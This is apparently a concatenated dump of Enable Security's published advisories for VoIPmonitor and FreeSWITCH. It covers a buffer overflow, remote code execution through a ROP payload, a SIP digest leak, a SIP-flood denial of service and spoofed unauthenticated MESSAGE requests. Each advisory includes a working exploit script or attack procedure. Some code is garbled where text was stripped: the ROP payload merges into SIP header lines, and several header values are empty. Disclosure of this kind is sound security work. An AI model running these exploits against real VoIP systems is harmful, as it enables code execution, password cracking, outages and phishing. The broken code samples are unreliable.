`Content-Type` header of JSON rather than `text/html`. 150 | 151 | > These vulnerabilities seem to exist throughout the whole web application so we suggest that a thorough exercise should be carried out to identify any other potential Cross-Site scripting issues in sections which have not been identified in our report. 152 | 153 | ## Acknowledgements 154 | 155 | Enable Security would like to thank Martin Vit and the developers at VoIPmonitor for the very quick response and fixing this security issue. 156 | 157 | ## About Enable Security 158 | 159 | [Enable Security](https://www.enablesecurity.com) develops offensive security tools and provides quality penetration testing to help protect your real-time communications systems against attack. 160 | 161 | ## Disclaimer 162 | 163 | The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. 164 | 165 | ## Disclosure policy 166 | 167 | This report is subject to Enable Security's vulnerability disclosure policy which can be found at . 168 | 169 | -------------------------------------------------------------------------------- /ES2021-02-voipmonitor-gui-xss/screenshots/admin-created-via-xss.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EnableSecurity/advisories/5f3f5ca3c8df3eade051bfd4511bfb2b9ddd7473/ES2021-02-voipmonitor-gui-xss/screenshots/admin-created-via-xss.png -------------------------------------------------------------------------------- /ES2021-02-voipmonitor-gui-xss/screenshots/register-failed-alert.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EnableSecurity/advisories/5f3f5ca3c8df3eade051bfd4511bfb2b9ddd7473/ES2021-02-voipmonitor-gui-xss/screenshots/register-failed-alert.png -------------------------------------------------------------------------------- /ES2021-02-voipmonitor-gui-xss/screenshots/register-failed-script-injection.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EnableSecurity/advisories/5f3f5ca3c8df3eade051bfd4511bfb2b9ddd7473/ES2021-02-voipmonitor-gui-xss/screenshots/register-failed-script-injection.png -------------------------------------------------------------------------------- /ES2021-03-voipmonitor-livesniffer-buffer-overflow/README.md: -------------------------------------------------------------------------------- 1 | # VoIPmonitor is vulnerable to a buffer overflow when using the live sniffer 2 | 3 | - Fixed versions: 27.6 4 | - Enable Security Advisory: https://github.com/EnableSecurity/advisories/tree/master/ES2021-03-voipmonitor-livesniffer-buffer-overflow 5 | - VoIPmonitor Security Advisory: none, changelog references fixes at https://www.voipmonitor.org/changelog-sniffer 6 | - Tested vulnerable versions: 27.5 7 | - References: CVE-2021-1000005 8 | - Timeline: 9 | - Report date: 2021-02-10 10 | - Triaged: 2021-02-12 11 | - Fix provided for testing: 2021-02-15 12 | - VoIPmonitor release with fix: 2021-02-15 13 | - Enable Security advisory: 2021-03-15 14 | 15 | ## Description 16 | 17 | A buffer overflow was identified in the VoIPmonitor live sniffer feature. The description variable in the function `save_packet_sql` is defined as a fixed length array of 1024 characters. The description is set to the value of a SIP request or response line. By setting a long request or response line VoIPmonitor will trigger a buffer overflow. The affected code is: 18 | 19 | ```c 20 | char callidstr[1024] = ""; 21 | if(packetS->sipDataLen) { 22 | void *memptr = memmem(packetS->data_()+ packetS->sipDataOffset, 23 | packetS->sipDataLen, "\r\n", 2); 24 | if(memptr) { 25 | memcpy(description, packetS->data_()+ packetS->sipDataOffset, 26 | (char *)memptr - (char*)(packetS->data_()+ packetS->sipDataOffset)); 27 | description[(char*)memptr - (char*)(packetS->data_()+ 28 | packetS->sipDataOffset)] = '\0'; 29 | printf("%s\n", description); 30 | } 31 | // ... 32 | } 33 | ``` 34 | 35 | ## Impact 36 | 37 | When using the static binaries provided at the VoIPMonitor download site, this vulnerability may lead to remote code execution. This is due to lack of standard memory corruption protection as explained in a separate advisory, ES2021-04-voipmonitor-staticbuild-memory-corruption-protection. 38 | 39 | When compiling the `voipmonitor` program from source, most modern build systems will automatically include run-time best practice checks. In such cases, it appears that the worst-case-scenario is that the program will end up crashing. 40 | 41 | ## How to reproduce the issue 42 | 43 | 1. Start the live sniffer from the VOIPMonitor GUI 44 | 2. Execute the following Python program so that VOIPMonitor is able to capture the packet 45 | 3. Observe that VOIPMonitor has crashed 46 | 47 | ```python 48 | import socket 49 | msg='REGISTER %s SIP/2.0\r\n' % ('a' * 1024) 50 | msg+='Via: SIP/2.0/UDP 192.168.1.132:35393;rport;branch=z9hG4bK-kwtTkrdNAO2Wvw0v\r\n' 51 | msg+='Max-Forwards: 70\r\n' 52 | msg+='From: ;tag=mnq1nKGNZHNUkNOG\r\n' 53 | msg+='To: \r\n' 54 | msg+='Call-ID: 93X9dNZO2qdcfpdu\r\n' 55 | msg+='CSeq: 1 REGISTER\r\n' 56 | msg+='Contact: \r\n' 57 | msg+='Expires: 60\r\n' 58 | msg+='Content-Length: 0\r\n' 59 | msg+='\r\n' 60 | 61 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 62 | s.sendto(msg.encode(), ('demo.sipvicious.pro', 5060)) 63 | ``` 64 | 65 | ## Solution and recommendations 66 | 67 | To address this issue, we recommend upgrading to the latest fixed version of VoIPmonitor. 68 | 69 | We recommended the following to the vendor: 70 | 71 | > The length of the value that the description is being set to should be checked before it is copied into memory. The pattern `memcpy(dest, src, MIN(src_len, max_len));` could be used to safely perform this operation. 72 | 73 | ## Acknowledgements 74 | 75 | Enable Security would like to thank Martin Vit and the developers at VoIPmonitor for the very quick response and fixing this security issue. 76 | 77 | ## About Enable Security 78 | 79 | [Enable Security](https://www.enablesecurity.com) develops offensive security tools and provides quality penetration testing to help protect your real-time communications systems against attack. 80 | 81 | ## Disclaimer 82 | 83 | The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. 84 | 85 | ## Disclosure policy 86 | 87 | This report is subject to Enable Security's vulnerability disclosure policy which can be found at . 88 | 89 | -------------------------------------------------------------------------------- /ES2021-04-voipmonitor-staticbuild-memory-corruption-protection/README.md: -------------------------------------------------------------------------------- 1 | # VoIPmonitor static builds are compiled without any standard memory corruption protection 2 | 3 | - Fixed versions: N/A 4 | - Enable Security Advisory: https://github.com/EnableSecurity/advisories/tree/master/ES2021-04-voipmonitor-staticbuild-memory-corruption-protection 5 | - VoIPmonitor Security Advisory: none 6 | - Tested vulnerable versions: 27.5 7 | - Timeline: 8 | - Report date: 2021-02-10 & 2021-02-13 9 | - Enable Security advisory: 2021-03-15 10 | 11 | ## Description 12 | 13 | The binaries available for download at are built without any memory corruption protection in place. The following is output from the tool `hardening-check`: 14 | 15 | ``` 16 | hardening-check voipmonitor: 17 | Position Independent Executable: no, normal executable! 18 | Stack protected: no, not found! 19 | Fortify Source functions: unknown, no protectable libc functions used 20 | Read-only relocations: no, not found! 21 | Immediate binding: no, not found! 22 | Stack clash protection: unknown, no -fstack-clash-protection instructions found 23 | Control flow integrity: unknown, no -fcf-protection instructions found! 24 | ``` 25 | 26 | When stack protection together with Fortify Source and other protection mechanisms are in place, exploitation of memory corruption vulnerabilities normally results in a program crash instead of leading to remote code execution. Most modern compilation systems create executable binaries with these features built-in by default. When these features are not used, attackers may easily exploit memory corruption vulnerabilities, such as buffer overflows, to run arbitrary code. In this advisory we will demonstrate how a buffer overflow reported in a separate advisory, could be abused to run arbitrary code because of the lack of standard memory corruption protection in the static build releases of VoIPmonitor. 27 | 28 | The vendor has explained that: 29 | 30 | > we are not going to enable the protection in the static builds as the speed is critical on many installations 31 | 32 | > Our static build also uses tcmalloc (recommended version) which is required for high packet/second processing as the libc allocator is not fast enough especially on NUMA systems. For high packet/second traffic FORTIFY_SOURCE can introduce a lot of additional CPU cycles. If using custom builds with FORTIFY_SOURCE - they should compare if the sniffer did not introduced higher CPU usage. 33 | 34 | While we understand the vendor's position, we are issuing an advisory to ensure that end users can make informed risk-based decisions. 35 | 36 | ## Impact 37 | 38 | The lack of standard memory corruption protection mechanisms means that such vulnerabilities may lead to remote code execution. 39 | 40 | ## How to reproduce the issue 41 | 42 | 1. Execute the static build of VoIPmonitor (such as https://www.voipmonitor.org/current-stable-sniffer-static-64bit.tar.gz) 43 | 2. Start the live sniffer from the VOIPMonitor GUI or via the manager on port 5029 44 | 3. Execute the following Python program so that VOIPMonitor is able to capture the packet 45 | 4. Observe the payload being executed by the `voipmonitor` process, i.e. the following: 46 | - current user is printed due to execution of the `whoami` command 47 | - `h4x0r was here` is also printed 48 | - a file has been created in `/tmp/woot` 49 | 50 | ```python 51 | import struct 52 | import socket 53 | 54 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 55 | 56 | payload_size=32607 57 | # Pad with As 58 | payload = b'A' * 703 59 | payload_size-=len(payload) 60 | 61 | # Write system payload 62 | cmd=b'whoami;echo "h4x0r was here";touch /tmp/woot\x00' 63 | payload+=cmd 64 | payload_size-=len(cmd) 65 | 66 | # Pad some more so that we can overwrite the save_packet_sql's function return address 67 | payload += b'A' * payload_size 68 | 69 | # Call a ROP gadged that increments the value of the RDI register, 70 | # which will now point to the value set by cmd 71 | payload += struct.pack(';tag=mnq1nKGNZHNUkNOG\r\n' 83 | msg+=b'To: \r\n' 84 | msg+=b'Call-ID: 93X9dNZO2qdcfpdu\r\n' 85 | msg+=b'CSeq: 1 REGISTER\r\n' 86 | msg+=b'Contact: \r\n' 87 | msg+=b'Expires: 60\r\n' 88 | msg+=b'Content-Length: 0\r\n' 89 | msg+=b'\r\n' 90 | s.sendto(msg, ('167.71.58.84', 5060)) 91 | 92 | ``` 93 | 94 | ## Solution and recommendations 95 | 96 | Users who would like to have standard memory corruption protection for VoIPmonitor should compile the binaries themselves and apply their own upgrades rather than using the upgrade feature from the VoIPmonitor GUI / sensors page. 97 | 98 | We recommended the following to the vendor: 99 | 100 | > Our recommendation is that standard memory corruption protection be switched on by default in the official binary build of VoIPmonitor. If there are specific requirements for specific systems that require such features to be switched off, then additional binaries should be offered, with adequate documentation of the risks involved. 101 | 102 | > Do note that memory corruption vulnerabilities should also be addressed and fixed even if security features, such as Fortify, are used. 103 | 104 | ## Acknowledgements 105 | 106 | Enable Security would like to thank Martin Vit and the developers at VoIPmonitor for the very quick responses and explanations with regards to this security issue. 107 | 108 | ## About Enable Security 109 | 110 | [Enable Security](https://www.enablesecurity.com) develops offensive security tools and provides quality penetration testing to help protect your real-time communications systems against attack. 111 | 112 | ## Disclaimer 113 | 114 | The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. 115 | 116 | ## Disclosure policy 117 | 118 | This report is subject to Enable Security's vulnerability disclosure policy which can be found at . 119 | 120 | -------------------------------------------------------------------------------- /ES2021-05-freeswitch-vulnerable-to-SIP-digest-leak/README.md: -------------------------------------------------------------------------------- 1 | # FreeSWITCH vulnerable to SIP digest leak for configured gateways 2 | 3 | - Fixed versions: v1.10.7 4 | - Enable Security Advisory: https://github.com/EnableSecurity/advisories/tree/master/ES2021-05-freeswitch-vulnerable-to-SIP-digest-leak 5 | - Vendor Security Advisory: https://github.com/signalwire/freeswitch/security/advisories/GHSA-3v3f-99mv-qvj4 6 | - Other references: CVE-2021-41158 7 | - Tested vulnerable versions: <= v1.10.6 8 | - Timeline: 9 | - Report date: 2021-04-22 10 | - Triaged: 2021-04-23 11 | - Fix provided for testing: 2021-08-13 12 | - Second fix provided for testing: 2021-09-14 13 | - Vendor release with fix: 2021-10-24 14 | - Enable Security advisory: 2021-10-25 15 | 16 | ## Description 17 | 18 | An attacker can perform a SIP digest leak attack against FreeSWITCH and receive the challenge response of a gateway configured on the FreeSWITCH server. This is done by challenging FreeSWITCH's SIP requests with the realm set to that of the gateway, thus forcing FreeSWITCH to respond with the challenge response which is based on the password of that targeted gateway. 19 | 20 | One of the ways to perform this attack involves initiating a call to any directory number (e.g. 1002). In the default configuration, this can be done via the external SIP profile by calling `sip:1002@freepbx:5080` without authentication, or via the internal SIP profile with authentication by calling `sip:1002@freepbx:5060`. 21 | 22 | To demonstrate this issue, the following external SIP profile configuration was used for the gateway `demo.sipvicious.pro`: 23 | 24 | ```xml 25 | 26 | 27 | 28 | 29 | ``` 30 | 31 | The malicious UAC initiates the attack by sending an INVITE to FreeSWITCH. In this example, extension 1001 is calling extension 1002: 32 | 33 | ``` 34 | INVITE sip:1002@192.168.1.215 SIP/2.0 35 | Via: SIP/2.0/UDP 192.168.1.215:35273;rport;branch=z9hG4bK-UkZy2ufFodKb5r2T 36 | Max-Forwards: 70 37 | From: ;tag=t0D1TEIKQGit7Tf7 38 | To: 39 | Call-ID: Y72a9ZSUQk0zQ23P 40 | CSeq: 1 INVITE 41 | Contact: 42 | Content-Length: 245 43 | Content-Type: application/sdp 44 | ``` 45 | 46 | The call is either manually picked up by the callee, or automatically by its mailbox: 47 | 48 | ``` 49 | SIP/2.0 200 OK 50 | Via: SIP/2.0/UDP 192.168.1.215:35273;rport=35273;branch=z9hG4bK-UkZy2ufFodKb5r2T 51 | From: ;tag=t0D1TEIKQGit7Tf7 52 | To: ;tag=983BacQc9Q9vp 53 | Call-ID: Y72a9ZSUQk0zQ23P 54 | CSeq: 1 INVITE 55 | Contact: 56 | User-Agent: FreeSWITCH-mod_sofia/1.10.7-dev+git~20210325T155256Z~67cec5c3e8~64bit 57 | Accept: application/sdp 58 | Allow: INVITE, ACK, BYE, CANCEL, OPTIONS, MESSAGE, INFO, UPDATE, REGISTER, REFER, NOTIFY 59 | Supported: timer, path, replaces 60 | Allow-Events: talk, hold, conference, refer 61 | Content-Type: application/sdp 62 | Content-Disposition: session 63 | Content-Length: 222 64 | Remote-Party-ID: "1002" ;party=calling;privacy=off;screen=no 65 | ``` 66 | 67 | Once the callee or mailbox hangs up the call, FreeSWITCH will send a BYE request to the malicious UAC: 68 | 69 | ``` 70 | BYE sip:1001@192.168.1.215:35273;transport=udp SIP/2.0 71 | Via: SIP/2.0/UDP 192.168.1.215:5080;rport;branch=z9hG4bKF7XSHFKDmUN5D 72 | Max-Forwards: 70 73 | From: ;tag=983BacQc9Q9vp 74 | To: ;tag=t0D1TEIKQGit7Tf7 75 | Call-ID: Y72a9ZSUQk0zQ23P 76 | CSeq: 34695099 BYE 77 | User-Agent: FreeSWITCH-mod_sofia/1.10.7-dev+git~20210325T155256Z~67cec5c3e8~64bit 78 | Allow: INVITE, ACK, BYE, CANCEL, OPTIONS, MESSAGE, INFO, UPDATE, REGISTER, REFER, NOTIFY 79 | Supported: timer, path, replaces 80 | Reason: Q.850;cause=16;text="NORMAL_CLEARING" 81 | Content-Length: 0 82 | 83 | ``` 84 | 85 | The malicious UAC will then challenge the BYE request by sending a specially crafted 407 response. The realm value of the `Proxy-Authenticate` header is set to the domain of the target gateway, in our case `demo.sipvicious.pro`: 86 | 87 | ``` 88 | SIP/2.0 407 Proxy Authentication Required 89 | Via: SIP/2.0/UDP 192.168.1.215:5080;rport;branch=z9hG4bKF7XSHFKDmUN5D 90 | From: ;tag=983BacQc9Q9vp 91 | To: ;tag=t0D1TEIKQGit7Tf7 92 | Call-ID: Y72a9ZSUQk0zQ23P 93 | CSeq: 34695099 BYE 94 | Proxy-Authenticate: Digest realm="demo.sipvicious.pro",nonce="4XC2",algorithm=MD5 95 | ``` 96 | 97 | FreeSWITCH will reply with the challenge response, base on the password of the gateway: 98 | 99 | ``` 100 | BYE sip:1001@192.168.1.215:35273;transport=udp SIP/2.0 101 | Via: SIP/2.0/UDP 192.168.1.215:5080;rport;branch=z9hG4bKggQjKa4gH4BrS 102 | Max-Forwards: 70 103 | From: ;tag=983BacQc9Q9vp 104 | To: ;tag=t0D1TEIKQGit7Tf7 105 | Call-ID: Y72a9ZSUQk0zQ23P 106 | CSeq: 34695100 BYE 107 | User-Agent: FreeSWITCH-mod_sofia/1.10.7-dev+git~20210325T155256Z~67cec5c3e8~64bit 108 | Allow: INVITE, ACK, BYE, CANCEL, OPTIONS, MESSAGE, INFO, UPDATE, REGISTER, REFER, NOTIFY 109 | Supported: timer, path, replaces 110 | Proxy-Authorization: Digest username="1000", realm="demo.sipvicious.pro", 111 | nonce="4XC2", algorithm=MD5, 112 | uri="sip:1001@192.168.1.215:35273;transport=udp", 113 | response="10c3a9408b3a97cd6ec8bb3908f30d93" 114 | Reason: Q.850;cause=16;text="NORMAL_CLEARING" 115 | Content-Length: 0 116 | 117 | ``` 118 | 119 | The challenge response may then be subjected to a fast offline password bruteforce attack using tools such as hashcat and John the Ripper. 120 | 121 | The above example consists of challenging the BYE message coming from FreeSWITCH. We identified the following additional scenarios which allow exploitation: 122 | 123 | - FreeSWITCH initiating a call to a malicious party, for example by making use of the `originate` command in `fs_cli`, where the malicious party challenges the incoming INVITE request. 124 | - An authenticated SIP endpoint calling another registered malicious endpoint, where the malicious endpoint challenges the incoming INVITE request. 125 | 126 | 127 | ## Impact 128 | 129 | Abuse of this vulnerability allows attackers to potentially recover gateway passwords by performing a fast offline password cracking attack on the challenge response. 130 | 131 | Do note that the attacker does not require special network privileges, such as the ability to sniff the FreeSWITCH's network traffic, to exploit this issue. Instead, what is required for this attack to work is the ability to cause the victim server to send SIP request messages to the malicious party. 132 | 133 | Additionally, to exploit this issue, the attacker needs to specify the correct realm which might in some cases be considered secret. However, because many gateways are actually public, this information can easily be retrieved. 134 | 135 | 136 | ## How to reproduce the issue 137 | 138 | To reproduce this issue, we made use of SIPVicious PRO's SIP digest leak tool as follows: 139 | 140 | ``` 141 | sipvicious sip crack digestleak udp://172.17.0.2:5060 -u1001:9999999 -e1002 \ 142 | --challenge-config realm:demo.sipvicious.pro 143 | INFO[2021-04-19 23:09:17] started digest leak tool on udp://172.17.0.2:5060 144 | INFO[2021-04-19 23:09:17] call picked up by sip:1002@172.17.0.2 145 | INFO[2021-04-19 23:09:18] received BYE, challenging that with a 407 146 | WARN[2021-04-19 23:09:18] digest leaked: response: 6b4f4d6c4d9a086190bd27e410cd1fe4, \ 147 | realm=demo.sipvicious.pro, nonce=8B05, uri=sip:1001@172.17.0.1:51518;transport=udp, \ 148 | method=BYE, username=1000 149 | INFO[2021-04-19 23:09:18] BYE received, terminating call 150 | WARN[2021-04-19 23:09:21] security issue detected: digest leaked 151 | INFO[2021-04-19 23:09:21] test complete 152 | - target: udp://172.17.0.2:5060 153 | - status: security issue, digest leaked 154 | results: 155 | N/A 156 | issues: 157 | - digestleak: 158 | response: 6b4f4d6c4d9a086190bd27e410cd1fe4, realm=demo.sipvicious.pro, 159 | nonce=8B05, uri=sip:1001@172.17.0.1:51518;transport=udp, 160 | method=BYE, username=1000 161 | ``` 162 | 163 | Alternatively, SIPp may be used with a modified version of the Digest leak scenario from [tomeko.net][1] as follows: 164 | 165 | ``` 166 | sipp 192.168.188.128:5080 -sf uac_digest_leak.xml -s 1002 -m 1 167 | ``` 168 | 169 | Note: in the [scenario][1] from tomeko.net, make sure to replace the `WWW-Authenticate` header with `Proxy-Authenticate`, set the correct realm (e.g. `demo.sipvicious.pro`) and set 183 responses as optional. 170 | 171 | [1]: https://tomeko.net/other/sipp/sipp_cheatsheet.php?lang=en 172 | 173 | ## Solution and recommendations 174 | 175 | Upgrade to a version of FreeSWITCH that fixes this issue. 176 | 177 | Our suggestion to the FreeSWITCH developers was the following: 178 | 179 | > The vulnerability appears to be due to the code which handles challenges in `sofia_reg.c`, `sofia_reg_handle_sip_r_challenge()` which does not check if the challenge is originating from the actual gateway. The lack of these checks allows arbitrary UACs (and gateways) to challenge any request sent by FreeSWITCH with the realm of the gateway being targeted. 180 | 181 | > Our recommendation is to create an association between a SIP session for each gateway and its realm, and then a check is put in place for this association when responding to challenges. 182 | 183 | ## About Enable Security 184 | 185 | [Enable Security](https://www.enablesecurity.com) develops offensive security tools and provides quality penetration testing to help protect your real-time communications systems against attack. 186 | 187 | ## Disclaimer 188 | 189 | The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. 190 | 191 | ## Disclosure policy 192 | 193 | This report is subject to Enable Security's vulnerability disclosure policy which can be found at . 194 | 195 | -------------------------------------------------------------------------------- /ES2021-06-freeswitch-flood-dos/README.md: -------------------------------------------------------------------------------- 1 | # FreeSWITCH susceptible to Denial of Service via SIP flooding 2 | 3 | - Fixed versions: v1.10.7 4 | - Enable Security Advisory: https://github.com/EnableSecurity/advisories/tree/master/ES2021-06-freeswitch-flood-dos 5 | - Vendor Security Advisory: https://github.com/signalwire/freeswitch/security/advisories/GHSA-jvpq-23v4-gp3m 6 | - Other references: CVE-2021-41145 7 | - Tested vulnerable versions: <= v1.10.6 8 | - Timeline: 9 | - Report date: 2021-05-28 10 | - Triaged: 2021-06-18 11 | - Fix provided for testing: 2021-10-08 12 | - Second fix provided for testing: 2021-10-13 13 | - Vendor release with fix: 2021-10-24 14 | - Enable Security advisory: 2021-10-25 15 | 16 | ## Description 17 | 18 | When flooding FreeSWITCH with SIP messages, it was observed that after a number of seconds the process was killed by the operating system due to memory exhaustion. The following excerpt from syslog shows one such instance: 19 | 20 | ``` 21 | May 25 15:19:30 ubuntu-bionic kernel: [ 4205.446584] Out of memory: Kill process 22590 (freeswitch) score 939 or sacrifice child 22 | May 25 15:19:30 ubuntu-bionic kernel: [ 4205.449845] Killed process 22590 (freeswitch) total-vm:10484768kB, anon-rss:7894136kB, file-rss:0kB, shmem-rss:0kB 23 | May 25 15:19:30 ubuntu-bionic kernel: [ 4205.720680] oom_reaper: reaped process 22590 (freeswitch), now anon-rss:0kB, file-rss:0kB, shmem-rss:0kB 24 | ``` 25 | 26 | The tests were carried out using the SIP messages REGISTER, SUBSCRIBE, NOTIFY, PUBLISH, MESSAGE, INVITE and OPTIONS. On a machine with 8 gigabytes of RAM, the FreeSWITCH process crashed after 90 seconds of flooding with the SIP message REGISTER. 27 | 28 | ![Memory consumption over time during SIP flood attack against FreeSWITCH](memory-usage.png) 29 | 30 | When FreeSWITCH was run using [Valgrind](https://valgrind.org/), it was reported that large chunks of memory were being allocated in functions from the Sofia-SIP library source file `su_alloc.c`. Valgrind was executed with the flag `--leak-check=full` in order to get a detailed report of potential memory leaks. The target was flooded for a few seconds and then FreeSWITCH was gracefully terminated. The following is an excerpt from the report which identified large numbers of memory allocations in the function `su_home_new` in `su_alloc.c`: 31 | 32 | ``` 33 | 2021-05-25 15:23:48.870010 [CONSOLE] switch_core_memory.c:671 Stopping memory pool queue. 34 | ==401426== 35 | ==401426== HEAP SUMMARY: 36 | ==401426== in use at exit: 26,039,233 bytes in 87,160 blocks 37 | ==401426== total heap usage: 7,195,625 allocs, 7,108,465 frees, 986,221,122 bytes allocated 38 | ==401426== 39 | ... 40 | ==401426== 25,718,877 (368 direct, 25,718,509 indirect) bytes in 1 blocks are 41 | definitely lost in loss record 367 of 367 42 | ==401426== at 0x483DD99: calloc (in /.../vgpreload_memcheck-amd64-linux.so) 43 | ==401426== by 0x5422B57: su_home_new (su_alloc.c:569) 44 | ==401426== by 0x53AFB16: nua_create (nua.c:146) 45 | ==401426== by 0xA44D4B1: ??? 46 | ==401426== by 0x4C054EF: dummy_worker (thread.c:151) 47 | ==401426== by 0x4D19608: start_thread (pthread_create.c:477) 48 | ==401426== by 0x4E55292: clone (clone.S:95) 49 | ==401426== 50 | ==401426== LEAK SUMMARY: 51 | ==401426== definitely lost: 3,688 bytes in 35 blocks 52 | ==401426== indirectly lost: 25,728,877 bytes in 86,737 blocks 53 | ==401426== possibly lost: 133,576 bytes in 40 blocks 54 | ==401426== still reachable: 173,092 bytes in 348 blocks 55 | ``` 56 | 57 | 58 | ## Impact 59 | 60 | By abusing this vulnerability, an attacker is able to crash any FreeSWITCH instance by flooding it with SIP messages, leading to Denial of Service. The attack does not require authentication and can be carried out over UDP, TCP or TLS. 61 | 62 | ## How to reproduce the issue 63 | 64 | 1. Build FreeSWITCH from source and install it 65 | 2. Run FreeSWITCH with the default configuration 66 | 3. Save the following Python script as `freeswitch-sipflood.py` 67 | 68 | ```python 69 | import socket, string, random, sys 70 | 71 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 72 | cseq = 1 73 | UDP_IP = sys.argv[1] 74 | UDP_PORT = 5060 75 | 76 | while True: 77 | r = ''.join(random.choice(string.ascii_lowercase) for i in range(10)) 78 | 79 | msg = "REGISTER sip:%s SIP/2.0\r\n" % (UDP_IP, ) 80 | msg += "Via: SIP/2.0/UDP 127.0.0.1:46786;rport;branch=z9hG4bK-%s\r\n" % (r, ) 81 | msg += "Max-Forwards: 70\r\n" 82 | msg += "From: ;tag=%s\r\n" % (UDP_IP, r, ) 83 | msg += "To: \r\n" % (UDP_IP, ) 84 | msg += "Call-ID: %s\r\n" % (r, ) 85 | msg += "CSeq: %s REGISTER\r\n" % (cseq, ) 86 | msg += "Contact: \r\n" % (UDP_IP, ) 87 | msg += "Expires: 60\r\n" 88 | msg += "Content-Length: 0\r\n" 89 | msg += "\r\n" 90 | 91 | sock.sendto(msg.encode(), (UDP_IP, UDP_PORT)) 92 | 93 | cseq += 1 94 | ``` 95 | 4. Run the Python script and specify the target IP as the first command line parameter: 96 | 97 | ```bash 98 | python freeswitch-sipflood.py 99 | ``` 100 | 5. Notice that the memory consumption of FreeSWITCH increases rapidly over time, until FreeSWITCH is killed by the underlying operating system 101 | 102 | Note that in some cases where the test machine under attack has more memory resources, the attack done over UDP may not succeed in consuming all system memory. During our testing with SIPVicious PRO, however, we could always get the process to consume all the system's memory when the attack is done over TCP. 103 | 104 | ## Solution and recommendations 105 | 106 | Upgrade to a version of FreeSWITCH that fixes this issue. 107 | 108 | Our suggestion to the FreeSWITCH developers was the following: 109 | 110 | > Our recommendation for FreeSWITCH developers is to review the code handling memory allocation and apply changes to address this issue. At Enable Security we're happy to test potential fixes for this issue. 111 | 112 | ## About Enable Security 113 | 114 | [Enable Security](https://www.enablesecurity.com) develops offensive security tools and provides quality penetration testing to help protect your real-time communications systems against attack. 115 | 116 | ## Disclaimer 117 | 118 | The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. 119 | 120 | ## Disclosure policy 121 | 122 | This report is subject to Enable Security's vulnerability disclosure policy which can be found at . 123 | 124 | -------------------------------------------------------------------------------- /ES2021-06-freeswitch-flood-dos/memory-usage.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EnableSecurity/advisories/5f3f5ca3c8df3eade051bfd4511bfb2b9ddd7473/ES2021-06-freeswitch-flood-dos/memory-usage.png -------------------------------------------------------------------------------- /ES2021-07-freeswitch-SIP-MESSAGE-without-auth/README.md: -------------------------------------------------------------------------------- 1 | # FreeSWITCH does not authenticate SIP MESSAGE requests, leading to spam and message spoofing 2 | 3 | - Fixed versions: v1.10.7 4 | - Enable Security Advisory: https://github.com/EnableSecurity/advisories/tree/master/ES2021-07-freeswitch-SIP-MESSAGE-without-auth 5 | - Vendor Security Advisory: https://github.com/signalwire/freeswitch/security/advisories/GHSA-mjcm-q9h8-9xv3 6 | - Other references: CVE-2021-37624 7 | - Tested vulnerable versions: <= v1.10.6 8 | - Timeline: 9 | - Report date: 2021-06-07 10 | - Fix provided for testing: 2021-07-27 11 | - Vendor release with fix: 2021-10-24 12 | - Enable Security advisory: 2021-10-25 13 | 14 | ## Description 15 | 16 | By default, SIP requests of the type MESSAGE (RFC 3428) are not authenticated in the affected versions of FreeSWITCH. MESSAGE requests are relayed to SIP user agents registered with the FreeSWITCH server without requiring any authentication. Although this behaviour can be changed by setting the `auth-messages` parameter to `true`, it is not the default setting. 17 | 18 | ## Impact 19 | 20 | Abuse of this security issue allows attackers to send SIP MESSAGE messages to any SIP user agent that is registered with the server without requiring authentication. Additionally, since no authentication is required, chat messages can be spoofed to appear to come from trusted entities. Therefore, abuse can lead to spam and enable social engineering, phishing and similar attacks. 21 | 22 | We are issuing this advisory because, in the course of our work, we have noticed that most FreeSWITCH installations that are exposed to the Internet do not authenticate MESSAGE requests. 23 | 24 | ## How to reproduce the issue 25 | 26 | 1. Install FreeSWITCH v1.10.6 or lower 27 | 2. Run FreeSWITCH using the default configuration 28 | 3. Register as a legitimate SIP user with the FreeSWITCH server (e.g. `sip:1000@192.168.1.100` where `192.168.1.100` is your FreeSWITCH server) using a softphone that can process MESSAGE (such as Zoiper) 29 | 4. Save the below Python script to `anon-message.py` 30 | 5. Run the Python script `python anon-message.py ` 31 | 6. Observe the SIP message appear on your softphone, pretending to be from 911 32 | 33 | 34 | ```python 35 | import sys, socket, random, string 36 | 37 | UDP_IP = sys.argv[1] 38 | UDP_PORT = 5060 39 | ext = sys.argv[2] 40 | rand = ''.join(random.choice(string.ascii_lowercase) for i in range(8)) 41 | msg="MESSAGE sip:%s@%s SIP/2.0\r\n" % (ext, UDP_IP) 42 | msg+="Via: SIP/2.0/UDP 192.168.1.159:46896;rport;branch=z9hG4bK-%s\r\n" % rand 43 | msg+="Max-Forwards: 70\r\n" 44 | msg+="From: 911 ;tag=%s\r\n" %(UDP_IP, rand) 45 | msg+="To: \r\n" %(ext, UDP_IP) 46 | msg+="Call-ID: %s\r\n" % rand 47 | msg+="CSeq: 1 MESSAGE\r\n" 48 | msg+="Contact: \r\n" 49 | msg+="Content-Type: text/plain\r\n" 50 | msg+="Content-Length: 5\r\n\r\n" 51 | msg+="hello" 52 | 53 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 54 | sock.sendto(msg.encode(), (UDP_IP, UDP_PORT)) 55 | ``` 56 | 57 | ## Solution and recommendations 58 | 59 | Upgrade to a version of FreeSWITCH that fixes this 